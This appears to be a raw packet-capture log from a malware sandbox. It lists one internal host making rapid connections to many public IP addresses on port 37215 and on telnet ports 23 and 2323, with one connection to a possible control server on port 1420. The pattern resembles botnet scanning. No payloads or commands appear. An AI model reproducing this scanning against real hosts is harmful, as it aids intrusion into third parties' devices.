Nov 3, 2024 15:37:15.390636921 CET	49198	37215	192.168.2.14	197.64.58.243
Nov 3, 2024 15:37:15.390645027 CET	35804	37215	192.168.2.14	156.222.131.20
Nov 3, 2024 15:37:15.390655041 CET	58748	37215	192.168.2.14	41.134.217.71
Nov 3, 2024 15:37:15.390661955 CET	44916	37215	192.168.2.14	156.158.66.213
Nov 3, 2024 15:37:15.390666962 CET	60158	37215	192.168.2.14	156.218.149.19
Nov 3, 2024 15:37:15.390681982 CET	39456	37215	192.168.2.14	197.236.148.241
Nov 3, 2024 15:37:15.390681982 CET	39632	37215	192.168.2.14	197.171.92.70
Nov 3, 2024 15:37:15.390700102 CET	39098	37215	192.168.2.14	41.115.134.54
Nov 3, 2024 15:37:15.390702963 CET	45902	37215	192.168.2.14	156.240.11.196
Nov 3, 2024 15:37:15.390712023 CET	53610	37215	192.168.2.14	41.181.36.69
Nov 3, 2024 15:37:15.390719891 CET	46318	37215	192.168.2.14	41.117.220.187
Nov 3, 2024 15:37:15.390722036 CET	46480	37215	192.168.2.14	156.101.89.153
Nov 3, 2024 15:37:15.390743017 CET	39178	37215	192.168.2.14	41.37.93.47
Nov 3, 2024 15:37:15.390750885 CET	34156	37215	192.168.2.14	41.208.177.241
Nov 3, 2024 15:37:15.390750885 CET	54600	37215	192.168.2.14	156.132.215.120
Nov 3, 2024 15:37:15.390764952 CET	42318	37215	192.168.2.14	41.219.211.110
Nov 3, 2024 15:37:15.390764952 CET	59684	37215	192.168.2.14	156.116.52.15
Nov 3, 2024 15:37:15.390779018 CET	58276	37215	192.168.2.14	41.206.163.139
Nov 3, 2024 15:37:15.390779972 CET	50422	37215	192.168.2.14	156.87.93.196
Nov 3, 2024 15:37:15.390791893 CET	43786	37215	192.168.2.14	156.155.194.250
Nov 3, 2024 15:37:15.390804052 CET	54428	37215	192.168.2.14	156.117.101.221
Nov 3, 2024 15:37:15.390806913 CET	33730	37215	192.168.2.14	156.252.190.15
Nov 3, 2024 15:37:15.390822887 CET	36594	37215	192.168.2.14	156.105.93.217
Nov 3, 2024 15:37:15.390829086 CET	39840	37215	192.168.2.14	156.79.246.188
Nov 3, 2024 15:37:15.390836000 CET	33764	37215	192.168.2.14	41.110.61.43
Nov 3, 2024 15:37:15.390836000 CET	42884	37215	192.168.2.14	156.73.198.116
Nov 3, 2024 15:37:15.390851021 CET	37326	37215	192.168.2.14	156.94.115.208
Nov 3, 2024 15:37:15.390866041 CET	49468	37215	192.168.2.14	41.81.218.198
Nov 3, 2024 15:37:15.390866995 CET	49066	37215	192.168.2.14	156.178.161.125
Nov 3, 2024 15:37:15.390886068 CET	55894	37215	192.168.2.14	197.237.120.56
Nov 3, 2024 15:37:15.390892029 CET	50218	37215	192.168.2.14	41.124.100.105
Nov 3, 2024 15:37:15.390907049 CET	53258	37215	192.168.2.14	156.75.31.38
Nov 3, 2024 15:37:15.390916109 CET	40702	37215	192.168.2.14	197.168.105.0
Nov 3, 2024 15:37:15.390916109 CET	52718	37215	192.168.2.14	41.116.76.59
Nov 3, 2024 15:37:15.390935898 CET	55334	37215	192.168.2.14	41.170.82.40
Nov 3, 2024 15:37:15.390938997 CET	35492	37215	192.168.2.14	156.62.132.188
Nov 3, 2024 15:37:15.390943050 CET	54606	37215	192.168.2.14	156.65.148.244
Nov 3, 2024 15:37:15.390953064 CET	41162	37215	192.168.2.14	197.73.50.52
Nov 3, 2024 15:37:15.390964985 CET	60112	37215	192.168.2.14	197.82.192.210
Nov 3, 2024 15:37:15.390978098 CET	35088	37215	192.168.2.14	156.187.208.176
Nov 3, 2024 15:37:15.390990019 CET	36008	37215	192.168.2.14	197.77.226.77
Nov 3, 2024 15:37:15.391000032 CET	48204	37215	192.168.2.14	41.64.121.123
Nov 3, 2024 15:37:15.391006947 CET	34820	37215	192.168.2.14	197.65.50.117
Nov 3, 2024 15:37:15.391016960 CET	48216	37215	192.168.2.14	197.149.180.27
Nov 3, 2024 15:37:15.391026020 CET	56960	37215	192.168.2.14	156.72.20.147
Nov 3, 2024 15:37:15.391040087 CET	43310	37215	192.168.2.14	41.208.63.119
Nov 3, 2024 15:37:15.391042948 CET	34482	37215	192.168.2.14	156.100.58.82
Nov 3, 2024 15:37:15.391058922 CET	48638	37215	192.168.2.14	156.25.86.246
Nov 3, 2024 15:37:15.391062975 CET	33542	37215	192.168.2.14	156.32.187.219
Nov 3, 2024 15:37:15.391084909 CET	37400	37215	192.168.2.14	41.24.186.179
Nov 3, 2024 15:37:15.391084909 CET	55838	37215	192.168.2.14	197.72.90.5
Nov 3, 2024 15:37:15.391093016 CET	57226	37215	192.168.2.14	197.244.133.121
Nov 3, 2024 15:37:15.391098976 CET	49212	37215	192.168.2.14	197.51.53.55
Nov 3, 2024 15:37:15.391103983 CET	34810	37215	192.168.2.14	41.123.220.157
Nov 3, 2024 15:37:15.391113043 CET	33250	37215	192.168.2.14	156.57.255.166
Nov 3, 2024 15:37:15.391124010 CET	42852	37215	192.168.2.14	156.45.156.103
Nov 3, 2024 15:37:15.391125917 CET	55956	37215	192.168.2.14	156.35.57.9
Nov 3, 2024 15:37:15.391139984 CET	39966	37215	192.168.2.14	41.121.224.242
Nov 3, 2024 15:37:15.391139984 CET	42608	37215	192.168.2.14	197.247.221.194
Nov 3, 2024 15:37:15.391151905 CET	34724	37215	192.168.2.14	197.14.119.91
Nov 3, 2024 15:37:15.391155005 CET	33548	37215	192.168.2.14	41.245.36.19
Nov 3, 2024 15:37:15.391165972 CET	37464	37215	192.168.2.14	156.146.220.8
Nov 3, 2024 15:37:15.391180038 CET	34842	37215	192.168.2.14	41.55.153.40
Nov 3, 2024 15:37:15.391195059 CET	49962	37215	192.168.2.14	41.140.24.249
Nov 3, 2024 15:37:15.391199112 CET	37002	37215	192.168.2.14	41.91.180.27
Nov 3, 2024 15:37:15.391202927 CET	54902	37215	192.168.2.14	156.203.233.92
Nov 3, 2024 15:37:15.391208887 CET	48060	37215	192.168.2.14	197.239.31.222
Nov 3, 2024 15:37:15.391233921 CET	58630	37215	192.168.2.14	41.99.4.242
Nov 3, 2024 15:37:15.391239882 CET	60116	37215	192.168.2.14	156.1.197.27
Nov 3, 2024 15:37:15.391239882 CET	43610	37215	192.168.2.14	197.36.219.165
Nov 3, 2024 15:37:15.391242981 CET	59914	37215	192.168.2.14	197.68.141.179
Nov 3, 2024 15:37:15.391248941 CET	55202	37215	192.168.2.14	197.173.226.251
Nov 3, 2024 15:37:15.391266108 CET	56072	37215	192.168.2.14	156.215.238.162
Nov 3, 2024 15:37:15.391269922 CET	44656	37215	192.168.2.14	41.59.95.34
Nov 3, 2024 15:37:15.391284943 CET	44552	37215	192.168.2.14	156.99.216.209
Nov 3, 2024 15:37:15.391287088 CET	59180	37215	192.168.2.14	197.83.169.153
Nov 3, 2024 15:37:15.391305923 CET	36104	37215	192.168.2.14	41.173.42.20
Nov 3, 2024 15:37:15.391307116 CET	51530	37215	192.168.2.14	197.158.205.166
Nov 3, 2024 15:37:15.391334057 CET	58602	37215	192.168.2.14	197.104.105.200
Nov 3, 2024 15:37:15.391335011 CET	40084	37215	192.168.2.14	41.151.96.59
Nov 3, 2024 15:37:15.391338110 CET	56416	37215	192.168.2.14	197.120.32.59
Nov 3, 2024 15:37:15.391350985 CET	56662	37215	192.168.2.14	156.85.157.22
Nov 3, 2024 15:37:15.391364098 CET	48058	37215	192.168.2.14	41.90.238.22
Nov 3, 2024 15:37:15.391376972 CET	47112	37215	192.168.2.14	197.50.242.100
Nov 3, 2024 15:37:15.391381025 CET	54504	37215	192.168.2.14	41.197.148.234
Nov 3, 2024 15:37:15.391381025 CET	38634	37215	192.168.2.14	156.154.46.55
Nov 3, 2024 15:37:15.391391993 CET	42698	37215	192.168.2.14	156.246.196.31
Nov 3, 2024 15:37:15.391413927 CET	54620	37215	192.168.2.14	156.1.175.26
Nov 3, 2024 15:37:15.391417027 CET	49566	37215	192.168.2.14	41.0.36.115
Nov 3, 2024 15:37:15.391426086 CET	56984	37215	192.168.2.14	156.249.84.186
Nov 3, 2024 15:37:15.391443014 CET	39698	37215	192.168.2.14	41.57.195.204
Nov 3, 2024 15:37:15.391450882 CET	48946	37215	192.168.2.14	197.144.190.215
Nov 3, 2024 15:37:15.391462088 CET	42672	37215	192.168.2.14	197.168.207.218
Nov 3, 2024 15:37:15.392189980 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:15.393784046 CET	37215	35945	197.252.222.59	192.168.2.14
Nov 3, 2024 15:37:15.393794060 CET	37215	35945	156.125.220.5	192.168.2.14
Nov 3, 2024 15:37:15.393831968 CET	35945	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:15.393831968 CET	35945	37215	192.168.2.14	156.125.220.5
Nov 3, 2024 15:37:15.394088030 CET	37215	35945	156.41.151.105	192.168.2.14
Nov 3, 2024 15:37:15.394123077 CET	35945	37215	192.168.2.14	156.41.151.105
Nov 3, 2024 15:37:15.394143105 CET	37215	35945	156.242.7.36	192.168.2.14
Nov 3, 2024 15:37:15.394155025 CET	37215	35945	41.35.188.21	192.168.2.14
Nov 3, 2024 15:37:15.394164085 CET	37215	35945	156.253.94.64	192.168.2.14
Nov 3, 2024 15:37:15.394175053 CET	37215	35945	197.77.9.49	192.168.2.14
Nov 3, 2024 15:37:15.394186020 CET	37215	35945	156.1.100.73	192.168.2.14
Nov 3, 2024 15:37:15.394186020 CET	35945	37215	192.168.2.14	156.242.7.36
Nov 3, 2024 15:37:15.394191027 CET	35945	37215	192.168.2.14	41.35.188.21
Nov 3, 2024 15:37:15.394191980 CET	35945	37215	192.168.2.14	156.253.94.64
Nov 3, 2024 15:37:15.394197941 CET	37215	35945	41.46.213.46	192.168.2.14
Nov 3, 2024 15:37:15.394206047 CET	35945	37215	192.168.2.14	197.77.9.49
Nov 3, 2024 15:37:15.394208908 CET	37215	35945	41.191.220.250	192.168.2.14
Nov 3, 2024 15:37:15.394220114 CET	37215	35945	41.69.157.162	192.168.2.14
Nov 3, 2024 15:37:15.394226074 CET	35945	37215	192.168.2.14	156.1.100.73
Nov 3, 2024 15:37:15.394226074 CET	35945	37215	192.168.2.14	41.46.213.46
Nov 3, 2024 15:37:15.394231081 CET	37215	45764	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:15.394237041 CET	35945	37215	192.168.2.14	41.191.220.250
Nov 3, 2024 15:37:15.394246101 CET	37215	35945	156.164.209.17	192.168.2.14
Nov 3, 2024 15:37:15.394248009 CET	35945	37215	192.168.2.14	41.69.157.162
Nov 3, 2024 15:37:15.394258022 CET	37215	35945	197.61.130.228	192.168.2.14
Nov 3, 2024 15:37:15.394268036 CET	37215	49032	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:15.394272089 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:15.394272089 CET	35945	37215	192.168.2.14	156.164.209.17
Nov 3, 2024 15:37:15.394279003 CET	37215	35945	156.77.41.62	192.168.2.14
Nov 3, 2024 15:37:15.394283056 CET	35945	37215	192.168.2.14	197.61.130.228
Nov 3, 2024 15:37:15.394289017 CET	37215	35945	197.86.63.36	192.168.2.14
Nov 3, 2024 15:37:15.394299984 CET	37215	35945	156.66.120.45	192.168.2.14
Nov 3, 2024 15:37:15.394306898 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:15.394308090 CET	35945	37215	192.168.2.14	156.77.41.62
Nov 3, 2024 15:37:15.394310951 CET	37215	35945	197.165.253.160	192.168.2.14
Nov 3, 2024 15:37:15.394318104 CET	35945	37215	192.168.2.14	197.86.63.36
Nov 3, 2024 15:37:15.394320965 CET	37215	35945	41.138.3.85	192.168.2.14
Nov 3, 2024 15:37:15.394332886 CET	37215	35945	197.180.246.19	192.168.2.14
Nov 3, 2024 15:37:15.394335985 CET	35945	37215	192.168.2.14	156.66.120.45
Nov 3, 2024 15:37:15.394339085 CET	35945	37215	192.168.2.14	197.165.253.160
Nov 3, 2024 15:37:15.394342899 CET	37215	35945	156.76.79.236	192.168.2.14
Nov 3, 2024 15:37:15.394355059 CET	37215	35945	197.42.194.121	192.168.2.14
Nov 3, 2024 15:37:15.394356966 CET	35945	37215	192.168.2.14	41.138.3.85
Nov 3, 2024 15:37:15.394365072 CET	37215	35945	197.133.46.246	192.168.2.14
Nov 3, 2024 15:37:15.394371986 CET	35945	37215	192.168.2.14	197.180.246.19
Nov 3, 2024 15:37:15.394376040 CET	35945	37215	192.168.2.14	156.76.79.236
Nov 3, 2024 15:37:15.394376993 CET	37215	35945	156.18.170.50	192.168.2.14
Nov 3, 2024 15:37:15.394381046 CET	35945	37215	192.168.2.14	197.42.194.121
Nov 3, 2024 15:37:15.394393921 CET	35945	37215	192.168.2.14	197.133.46.246
Nov 3, 2024 15:37:15.394407034 CET	37215	38486	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:15.394413948 CET	35945	37215	192.168.2.14	156.18.170.50
Nov 3, 2024 15:37:15.394447088 CET	38486	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:15.394572020 CET	37215	35945	197.128.163.103	192.168.2.14
Nov 3, 2024 15:37:15.394589901 CET	37215	35945	197.9.181.39	192.168.2.14
Nov 3, 2024 15:37:15.394601107 CET	37215	35945	197.199.193.81	192.168.2.14
Nov 3, 2024 15:37:15.394610882 CET	35945	37215	192.168.2.14	197.128.163.103
Nov 3, 2024 15:37:15.394623041 CET	35945	37215	192.168.2.14	197.9.181.39
Nov 3, 2024 15:37:15.394634962 CET	35945	37215	192.168.2.14	197.199.193.81
Nov 3, 2024 15:37:15.394748926 CET	37215	35945	156.171.10.118	192.168.2.14
Nov 3, 2024 15:37:15.394759893 CET	37215	35945	156.99.16.69	192.168.2.14
Nov 3, 2024 15:37:15.394768953 CET	37215	35945	41.169.47.223	192.168.2.14
Nov 3, 2024 15:37:15.394783974 CET	35945	37215	192.168.2.14	156.99.16.69
Nov 3, 2024 15:37:15.394789934 CET	35945	37215	192.168.2.14	156.171.10.118
Nov 3, 2024 15:37:15.394794941 CET	35945	37215	192.168.2.14	41.169.47.223
Nov 3, 2024 15:37:15.394938946 CET	37215	35945	197.187.102.211	192.168.2.14
Nov 3, 2024 15:37:15.394949913 CET	37215	35945	156.251.175.176	192.168.2.14
Nov 3, 2024 15:37:15.394959927 CET	37215	35945	197.162.187.45	192.168.2.14
Nov 3, 2024 15:37:15.394969940 CET	37215	35945	156.46.63.127	192.168.2.14
Nov 3, 2024 15:37:15.394979000 CET	35945	37215	192.168.2.14	156.251.175.176
Nov 3, 2024 15:37:15.394979954 CET	37215	35945	41.119.192.196	192.168.2.14
Nov 3, 2024 15:37:15.394980907 CET	35945	37215	192.168.2.14	197.187.102.211
Nov 3, 2024 15:37:15.394990921 CET	37215	35945	156.161.128.73	192.168.2.14
Nov 3, 2024 15:37:15.394994974 CET	35945	37215	192.168.2.14	197.162.187.45
Nov 3, 2024 15:37:15.394998074 CET	35945	37215	192.168.2.14	156.46.63.127
Nov 3, 2024 15:37:15.395009041 CET	37215	35945	197.178.183.95	192.168.2.14
Nov 3, 2024 15:37:15.395014048 CET	35945	37215	192.168.2.14	41.119.192.196
Nov 3, 2024 15:37:15.395015955 CET	35945	37215	192.168.2.14	156.161.128.73
Nov 3, 2024 15:37:15.395020962 CET	37215	35945	156.177.173.227	192.168.2.14
Nov 3, 2024 15:37:15.395030022 CET	37215	35945	197.184.254.212	192.168.2.14
Nov 3, 2024 15:37:15.395045042 CET	35945	37215	192.168.2.14	197.178.183.95
Nov 3, 2024 15:37:15.395045042 CET	35945	37215	192.168.2.14	156.177.173.227
Nov 3, 2024 15:37:15.395062923 CET	35945	37215	192.168.2.14	197.184.254.212
Nov 3, 2024 15:37:15.395859957 CET	37215	35945	197.201.248.7	192.168.2.14
Nov 3, 2024 15:37:15.395870924 CET	37215	35945	156.172.44.144	192.168.2.14
Nov 3, 2024 15:37:15.395883083 CET	37215	35945	197.209.184.77	192.168.2.14
Nov 3, 2024 15:37:15.395893097 CET	37215	35945	197.96.212.56	192.168.2.14
Nov 3, 2024 15:37:15.395901918 CET	35945	37215	192.168.2.14	156.172.44.144
Nov 3, 2024 15:37:15.395901918 CET	35945	37215	192.168.2.14	197.201.248.7
Nov 3, 2024 15:37:15.395910978 CET	37215	35945	197.154.154.127	192.168.2.14
Nov 3, 2024 15:37:15.395921946 CET	37215	35945	156.32.70.57	192.168.2.14
Nov 3, 2024 15:37:15.395921946 CET	35945	37215	192.168.2.14	197.96.212.56
Nov 3, 2024 15:37:15.395924091 CET	35945	37215	192.168.2.14	197.209.184.77
Nov 3, 2024 15:37:15.395931959 CET	37215	35945	156.150.129.11	192.168.2.14
Nov 3, 2024 15:37:15.395942926 CET	37215	35945	156.250.126.240	192.168.2.14
Nov 3, 2024 15:37:15.395948887 CET	35945	37215	192.168.2.14	197.154.154.127
Nov 3, 2024 15:37:15.395948887 CET	35945	37215	192.168.2.14	156.32.70.57
Nov 3, 2024 15:37:15.395952940 CET	37215	35945	156.89.94.83	192.168.2.14
Nov 3, 2024 15:37:15.395962954 CET	37215	35945	197.144.161.163	192.168.2.14
Nov 3, 2024 15:37:15.395965099 CET	35945	37215	192.168.2.14	156.150.129.11
Nov 3, 2024 15:37:15.395972013 CET	35945	37215	192.168.2.14	156.250.126.240
Nov 3, 2024 15:37:15.395976067 CET	37215	35945	41.189.102.116	192.168.2.14
Nov 3, 2024 15:37:15.395987034 CET	37215	35945	156.52.174.31	192.168.2.14
Nov 3, 2024 15:37:15.395989895 CET	35945	37215	192.168.2.14	156.89.94.83
Nov 3, 2024 15:37:15.395989895 CET	35945	37215	192.168.2.14	197.144.161.163
Nov 3, 2024 15:37:15.395997047 CET	37215	35945	156.223.190.37	192.168.2.14
Nov 3, 2024 15:37:15.396008015 CET	37215	35945	41.120.215.161	192.168.2.14
Nov 3, 2024 15:37:15.396011114 CET	35945	37215	192.168.2.14	41.189.102.116
Nov 3, 2024 15:37:15.396017075 CET	37215	35945	197.237.126.146	192.168.2.14
Nov 3, 2024 15:37:15.396018028 CET	35945	37215	192.168.2.14	156.52.174.31
Nov 3, 2024 15:37:15.396028042 CET	37215	35945	156.104.238.184	192.168.2.14
Nov 3, 2024 15:37:15.396035910 CET	35945	37215	192.168.2.14	156.223.190.37
Nov 3, 2024 15:37:15.396035910 CET	35945	37215	192.168.2.14	41.120.215.161
Nov 3, 2024 15:37:15.396038055 CET	37215	35945	41.170.131.147	192.168.2.14
Nov 3, 2024 15:37:15.396047115 CET	35945	37215	192.168.2.14	197.237.126.146
Nov 3, 2024 15:37:15.396049976 CET	37215	35945	41.43.59.187	192.168.2.14
Nov 3, 2024 15:37:15.396053076 CET	35945	37215	192.168.2.14	156.104.238.184
Nov 3, 2024 15:37:15.396059990 CET	37215	35945	156.95.27.201	192.168.2.14
Nov 3, 2024 15:37:15.396070004 CET	37215	35945	156.54.114.94	192.168.2.14
Nov 3, 2024 15:37:15.396073103 CET	35945	37215	192.168.2.14	41.170.131.147
Nov 3, 2024 15:37:15.396085024 CET	35945	37215	192.168.2.14	156.95.27.201
Nov 3, 2024 15:37:15.396085024 CET	35945	37215	192.168.2.14	41.43.59.187
Nov 3, 2024 15:37:15.396096945 CET	35945	37215	192.168.2.14	156.54.114.94
Nov 3, 2024 15:37:15.396316051 CET	37215	35945	41.148.91.32	192.168.2.14
Nov 3, 2024 15:37:15.396327019 CET	37215	35945	156.4.82.191	192.168.2.14
Nov 3, 2024 15:37:15.396336079 CET	37215	35945	197.8.95.86	192.168.2.14
Nov 3, 2024 15:37:15.396344900 CET	37215	35945	156.103.60.216	192.168.2.14
Nov 3, 2024 15:37:15.396353006 CET	35945	37215	192.168.2.14	41.148.91.32
Nov 3, 2024 15:37:15.396354914 CET	37215	35945	197.134.236.61	192.168.2.14
Nov 3, 2024 15:37:15.396356106 CET	35945	37215	192.168.2.14	156.4.82.191
Nov 3, 2024 15:37:15.396359921 CET	35945	37215	192.168.2.14	197.8.95.86
Nov 3, 2024 15:37:15.396364927 CET	37215	35945	156.173.8.123	192.168.2.14
Nov 3, 2024 15:37:15.396377087 CET	35945	37215	192.168.2.14	197.134.236.61
Nov 3, 2024 15:37:15.396383047 CET	35945	37215	192.168.2.14	156.103.60.216
Nov 3, 2024 15:37:15.396393061 CET	37215	35945	41.43.244.228	192.168.2.14
Nov 3, 2024 15:37:15.396395922 CET	35945	37215	192.168.2.14	156.173.8.123
Nov 3, 2024 15:37:15.396404028 CET	37215	35945	197.161.72.192	192.168.2.14
Nov 3, 2024 15:37:15.396411896 CET	37215	35945	41.196.87.252	192.168.2.14
Nov 3, 2024 15:37:15.396423101 CET	37215	35945	41.226.210.84	192.168.2.14
Nov 3, 2024 15:37:15.396433115 CET	35945	37215	192.168.2.14	197.161.72.192
Nov 3, 2024 15:37:15.396434069 CET	35945	37215	192.168.2.14	41.43.244.228
Nov 3, 2024 15:37:15.396434069 CET	37215	35945	156.206.139.70	192.168.2.14
Nov 3, 2024 15:37:15.396445036 CET	37215	35945	197.35.59.141	192.168.2.14
Nov 3, 2024 15:37:15.396449089 CET	35945	37215	192.168.2.14	41.196.87.252
Nov 3, 2024 15:37:15.396452904 CET	35945	37215	192.168.2.14	41.226.210.84
Nov 3, 2024 15:37:15.396456003 CET	37215	35945	156.132.107.175	192.168.2.14
Nov 3, 2024 15:37:15.396459103 CET	35945	37215	192.168.2.14	156.206.139.70
Nov 3, 2024 15:37:15.396466970 CET	37215	35945	197.228.67.156	192.168.2.14
Nov 3, 2024 15:37:15.396477938 CET	37215	35945	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:15.396482944 CET	35945	37215	192.168.2.14	197.35.59.141
Nov 3, 2024 15:37:15.396485090 CET	35945	37215	192.168.2.14	156.132.107.175
Nov 3, 2024 15:37:15.396493912 CET	37215	35945	41.45.170.50	192.168.2.14
Nov 3, 2024 15:37:15.396500111 CET	35945	37215	192.168.2.14	197.228.67.156
Nov 3, 2024 15:37:15.396509886 CET	37215	35945	197.210.2.219	192.168.2.14
Nov 3, 2024 15:37:15.396514893 CET	35945	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:15.396522045 CET	37215	35945	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:15.396531105 CET	35945	37215	192.168.2.14	41.45.170.50
Nov 3, 2024 15:37:15.396532059 CET	37215	35945	41.11.77.41	192.168.2.14
Nov 3, 2024 15:37:15.396538019 CET	37215	35945	156.16.233.132	192.168.2.14
Nov 3, 2024 15:37:15.396539927 CET	35945	37215	192.168.2.14	197.210.2.219
Nov 3, 2024 15:37:15.396563053 CET	35945	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:15.396563053 CET	35945	37215	192.168.2.14	156.16.233.132
Nov 3, 2024 15:37:15.396569967 CET	35945	37215	192.168.2.14	41.11.77.41
Nov 3, 2024 15:37:15.397507906 CET	37215	59696	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:15.397548914 CET	59696	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:15.507177114 CET	36201	2323	192.168.2.14	46.1.7.102
Nov 3, 2024 15:37:15.507183075 CET	36201	23	192.168.2.14	44.93.32.40
Nov 3, 2024 15:37:15.507188082 CET	36201	23	192.168.2.14	166.142.106.215
Nov 3, 2024 15:37:15.507200956 CET	36201	23	192.168.2.14	42.111.60.63
Nov 3, 2024 15:37:15.507213116 CET	36201	23	192.168.2.14	163.44.183.10
Nov 3, 2024 15:37:15.507219076 CET	36201	23	192.168.2.14	113.61.218.231
Nov 3, 2024 15:37:15.507220030 CET	36201	23	192.168.2.14	113.212.148.129
Nov 3, 2024 15:37:15.507225037 CET	36201	23	192.168.2.14	173.2.100.76
Nov 3, 2024 15:37:15.507226944 CET	36201	23	192.168.2.14	105.225.1.91
Nov 3, 2024 15:37:15.507227898 CET	36201	23	192.168.2.14	157.163.185.142
Nov 3, 2024 15:37:15.507230997 CET	36201	2323	192.168.2.14	154.5.229.2
Nov 3, 2024 15:37:15.507244110 CET	36201	23	192.168.2.14	101.179.31.0
Nov 3, 2024 15:37:15.507253885 CET	36201	23	192.168.2.14	113.202.214.218
Nov 3, 2024 15:37:15.507256031 CET	36201	23	192.168.2.14	192.225.13.100
Nov 3, 2024 15:37:15.507270098 CET	36201	23	192.168.2.14	91.179.23.90
Nov 3, 2024 15:37:15.507275105 CET	36201	23	192.168.2.14	219.120.87.158
Nov 3, 2024 15:37:15.507275105 CET	36201	23	192.168.2.14	170.82.244.155
Nov 3, 2024 15:37:15.507292986 CET	36201	23	192.168.2.14	89.255.67.255
Nov 3, 2024 15:37:15.507296085 CET	36201	23	192.168.2.14	9.122.52.79
Nov 3, 2024 15:37:15.507298946 CET	36201	23	192.168.2.14	5.217.77.181
Nov 3, 2024 15:37:15.507317066 CET	36201	2323	192.168.2.14	175.15.166.94
Nov 3, 2024 15:37:15.507339001 CET	36201	23	192.168.2.14	102.138.245.114
Nov 3, 2024 15:37:15.507339001 CET	36201	23	192.168.2.14	82.14.44.240
Nov 3, 2024 15:37:15.507339001 CET	36201	23	192.168.2.14	18.6.168.23
Nov 3, 2024 15:37:15.507339954 CET	36201	23	192.168.2.14	148.230.138.51
Nov 3, 2024 15:37:15.507348061 CET	36201	23	192.168.2.14	58.41.84.216
Nov 3, 2024 15:37:15.507353067 CET	36201	23	192.168.2.14	68.93.184.159
Nov 3, 2024 15:37:15.507365942 CET	36201	23	192.168.2.14	186.215.46.194
Nov 3, 2024 15:37:15.507366896 CET	36201	23	192.168.2.14	108.35.86.123
Nov 3, 2024 15:37:15.507385015 CET	36201	23	192.168.2.14	123.52.35.112
Nov 3, 2024 15:37:15.507389069 CET	36201	2323	192.168.2.14	144.74.201.248
Nov 3, 2024 15:37:15.507399082 CET	36201	23	192.168.2.14	166.216.79.5
Nov 3, 2024 15:37:15.507400990 CET	36201	23	192.168.2.14	36.51.172.149
Nov 3, 2024 15:37:15.507417917 CET	36201	23	192.168.2.14	102.99.244.93
Nov 3, 2024 15:37:15.507419109 CET	36201	23	192.168.2.14	160.75.4.225
Nov 3, 2024 15:37:15.507427931 CET	36201	23	192.168.2.14	121.15.82.27
Nov 3, 2024 15:37:15.507443905 CET	36201	23	192.168.2.14	122.177.74.230
Nov 3, 2024 15:37:15.507447958 CET	36201	23	192.168.2.14	183.243.44.149
Nov 3, 2024 15:37:15.507472992 CET	36201	2323	192.168.2.14	184.90.35.60
Nov 3, 2024 15:37:15.507472992 CET	36201	23	192.168.2.14	18.187.71.72
Nov 3, 2024 15:37:15.507473946 CET	36201	23	192.168.2.14	73.0.66.26
Nov 3, 2024 15:37:15.507473946 CET	36201	23	192.168.2.14	184.61.178.209
Nov 3, 2024 15:37:15.507473946 CET	36201	23	192.168.2.14	173.23.4.246
Nov 3, 2024 15:37:15.507476091 CET	36201	23	192.168.2.14	113.81.23.134
Nov 3, 2024 15:37:15.507489920 CET	36201	23	192.168.2.14	177.187.149.245
Nov 3, 2024 15:37:15.507489920 CET	36201	23	192.168.2.14	27.230.125.123
Nov 3, 2024 15:37:15.507498026 CET	36201	23	192.168.2.14	196.182.38.8
Nov 3, 2024 15:37:15.507500887 CET	36201	23	192.168.2.14	119.22.122.160
Nov 3, 2024 15:37:15.507503033 CET	36201	23	192.168.2.14	185.212.152.40
Nov 3, 2024 15:37:15.507505894 CET	36201	23	192.168.2.14	79.190.233.51
Nov 3, 2024 15:37:15.507524967 CET	36201	23	192.168.2.14	79.145.17.144
Nov 3, 2024 15:37:15.507525921 CET	36201	2323	192.168.2.14	158.48.16.221
Nov 3, 2024 15:37:15.507538080 CET	36201	23	192.168.2.14	83.200.241.225
Nov 3, 2024 15:37:15.507555008 CET	36201	23	192.168.2.14	202.24.243.227
Nov 3, 2024 15:37:15.507558107 CET	36201	23	192.168.2.14	95.80.201.12
Nov 3, 2024 15:37:15.507572889 CET	36201	23	192.168.2.14	217.106.89.114
Nov 3, 2024 15:37:15.507574081 CET	36201	23	192.168.2.14	92.111.102.132
Nov 3, 2024 15:37:15.507576942 CET	36201	23	192.168.2.14	8.5.201.68
Nov 3, 2024 15:37:15.507579088 CET	36201	23	192.168.2.14	145.46.31.7
Nov 3, 2024 15:37:15.507592916 CET	36201	23	192.168.2.14	177.109.207.7
Nov 3, 2024 15:37:15.507600069 CET	36201	2323	192.168.2.14	85.93.207.96
Nov 3, 2024 15:37:15.507612944 CET	36201	23	192.168.2.14	189.20.100.48
Nov 3, 2024 15:37:15.507617950 CET	36201	23	192.168.2.14	39.6.45.235
Nov 3, 2024 15:37:15.507627010 CET	36201	23	192.168.2.14	160.220.147.163
Nov 3, 2024 15:37:15.507632017 CET	36201	23	192.168.2.14	23.47.88.156
Nov 3, 2024 15:37:15.507647991 CET	36201	23	192.168.2.14	195.57.229.174
Nov 3, 2024 15:37:15.507654905 CET	36201	23	192.168.2.14	12.116.197.187
Nov 3, 2024 15:37:15.507654905 CET	36201	23	192.168.2.14	116.236.36.49
Nov 3, 2024 15:37:15.507654905 CET	36201	23	192.168.2.14	79.58.109.7
Nov 3, 2024 15:37:15.507673025 CET	36201	23	192.168.2.14	154.229.231.173
Nov 3, 2024 15:37:15.507673025 CET	36201	2323	192.168.2.14	126.19.96.51
Nov 3, 2024 15:37:15.507689953 CET	36201	23	192.168.2.14	47.155.86.212
Nov 3, 2024 15:37:15.507692099 CET	36201	23	192.168.2.14	109.205.139.8
Nov 3, 2024 15:37:15.507705927 CET	36201	23	192.168.2.14	170.144.58.176
Nov 3, 2024 15:37:15.507708073 CET	36201	23	192.168.2.14	166.31.171.77
Nov 3, 2024 15:37:15.507708073 CET	36201	23	192.168.2.14	78.192.120.149
